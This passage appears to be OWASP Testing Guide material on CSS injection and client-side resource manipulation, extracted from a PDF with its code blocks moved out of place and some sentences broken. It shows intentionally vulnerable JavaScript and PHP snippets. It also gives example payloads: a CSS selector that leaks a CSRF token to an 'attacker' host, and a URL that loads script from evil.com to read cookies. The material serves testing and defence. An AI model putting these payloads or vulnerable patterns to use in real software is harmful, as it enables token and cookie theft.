Summary
A CSS Injection vulnerability involves the ability to inject arbitrary CSS code in the context of a trusted web site, and this will be rendered inside the victim’s browser. The impact of such a vul- nerability may vary on the basis of the supplied CSS payload: it could lead to Cross-Site Scripting in particular circumstances, to data exfiltration in the sense of extracting sensitive data or to UI modifications.
How to Test
Such a vulnerability occurs when the application allows to supply user-generated CSS or it is possible to somehow interfere with the legit stylesheets. Injecting code in the CSS context gives the attacker the possibility to execute JavaScript in certain conditions as well as extracting sensitive values through CSS selectors and functions able to generate HTTP requests. Actually, giving the users the possibility to customize their own personal pages by using custom CSS files results in a considerable risk, and should be definitely avoided.
The following JavaScript code shows a possible vulnerable script in which the attacker is able to control the “location.hash” (source) which reaches the “cssText” function (sink). This partic- ular case may lead to DOMXSS in older browser versions, such as
var redir = location.hash.substring(1); if (redir)
window.location=decodeURIComponent(redir);
<a id=”a1”>Click me</a> <script> if (location.hash.slice(1)) { document.getElementById(“a1”).style.cssText = “color: “ + location.hash.slice(1); } </script> <style> p {
color: <?php echo $_GET[‘color’]; ?>; text-align: center; } </style> <style> input[name=csrf_token][value=^a] { background-image: url(http://attacker/log?a); } </style> http://www.victim.site/?#javascript:alert(document.cookie)
• Password “cracker” via CSS and HTML5 - http://html5sec.org invalid/?length=25
• CSS attribute reading - http://eaea.sirdarckcat.net/cssar/v2/
Testing for Client Side Resource Manipulation
(OTG-CLIENT-006)
Summary
A ClientSide Resource Manipulation vulnerability is an input val- idation flaw that occurs when an application accepts an user controlled input which specifies the path of a resource (for ex- ample the source of an iframe, js, applet or the handler of an XM- LHttpRequest). Specifically, such a vulnerability consists in the ability to control the URLs which link to some resources present in a web page. The impact may vary on the basis of the type of the element whose URL is controlled by the attacker, and it is usually adopted to conduct Cross-Site Scripting attacks.
How to Test
Such a vulnerability occurs when the application employs user controlled URLs for referencing external/internal resources. In these circumstances it is possible to interfere with the expected application’s behavior in the sense of making it load and render malicious objects.
The following JavaScript code shows a possible vulnerable script in which the attacker is able to control the “location.hash” (source) which reaches the attribute “src” of a script element. This particular obviously leads XSS since an external JavaScript could be easily injected in the trusted web site.
Specifically the attacker could target the victim by asking her to visit the following URL:
Where js.js contains:
Controlling scripts’ sources is a basic example, since some other interesting and more subtle cases can take place. A widespread scenario involves the possibility to control the URL called in a CORS request; since CORS allows the target resource to be ac- cessible by the requesting domain through a header based ap- proach, then the attacker may ask the target page to load mali- cious content loaded on its own web site.
Refer to the following vulnerable code: as attributes “style”.
Gray Box testing
Testing for CSS Injection vulnerabilities:
Manual testing needs to be conducted and the JavaScript code analyzed in order to understand whether the attackers can in- ject its own content in CSS context. In particular we should be interested in how the website returns CSS rules on the basis of the inputs.
The following is a basic example:
The above code contains a source “location.hash” that is con- trolled by the attacker that can inject directly in the attribute “style” of an HTML element. As mentioned above, this may lead to different results on the basis of the adopted browser and the supplied payload.
It is recommended that testers use the jQuery function css(prop- erty, value) in such circumstances as follows, since this would disallow any damaging injections. In general, we recommend to use always a whitelist of allowed characters any time the input is reflected in the CSS context.
References OWASP Resources
• DOM based XSS Prevention Cheat Sheet
• DOMXSS Wiki - https://code.google.com/p/domxsswiki/wiki
CssText
Presentations
• DOM Xss Identification and Exploitation, Stefano Di Paola
ht t p: //dominat or.g o og le co de.com /f ile s / D OM X ss_ Identification_and_exploitation.pdf
• Got Your Nose! How To Steal Your Precious Data Without
Using Scripts, Mario Heiderich - http://www.youtube.com/
watch?v=FIQvAaZj_HA
• Bypassing Content-Security-Policy, Alex Kouzemtchenko
http://ruxcon.org.au/assets/slides/CSP-kuza55.pptx
Proof of Concepts
<a id=”a1”>Click me</a> <b>Hi</b> <script> $(“a”).click(function(){ $(“b”).attr(“style”,”color: “ + location.hash.slice(1)); }); </script> <script> var d=document.createElement(“script”); if(location.hash.slice(1)) d.src = location.hash.slice(1); document.body.appendChild(d); </script> <b id=”p”></b> www.victim.com/#http://evil.com/js.js alert(document.cookie) <a id=”a1”>Click me</a>
<b>Hi</b> <script> $(“a”).click(function(){ $(“b”).css(“color”,location.hash.slice(1)); }); </script>
The most interesting ones are those that allow to an attacker to include client side code (for example JavaScript) since it could lead to an XSS vulnerabilities.
When trying to check for this kind of issues, consider that some characters are treated differently by different browsers. More- over always consider the possibility to try absolute URLs vari-
ants as described here: http://kotowicz.net/absolute/
Tools
• DOMinator - https://dominator.mindedsecurity.com/
References OWASP Resources
• DOM based XSS Prevention Cheat Sheet
• DOMXSS.com - http://www.domxss.com
• DOMXSS TestCase - http://www.domxss.com/domxss/01
Basics/04_script_src.html
Whitepapers
• DOM XSS Wiki - https://code.google.com/p/domxsswiki/wiki
LocationSources
• Krzysztof Kotowicz: “Local or External? Weird URL formats on
the loose” - http://kotowicz.net/absolute/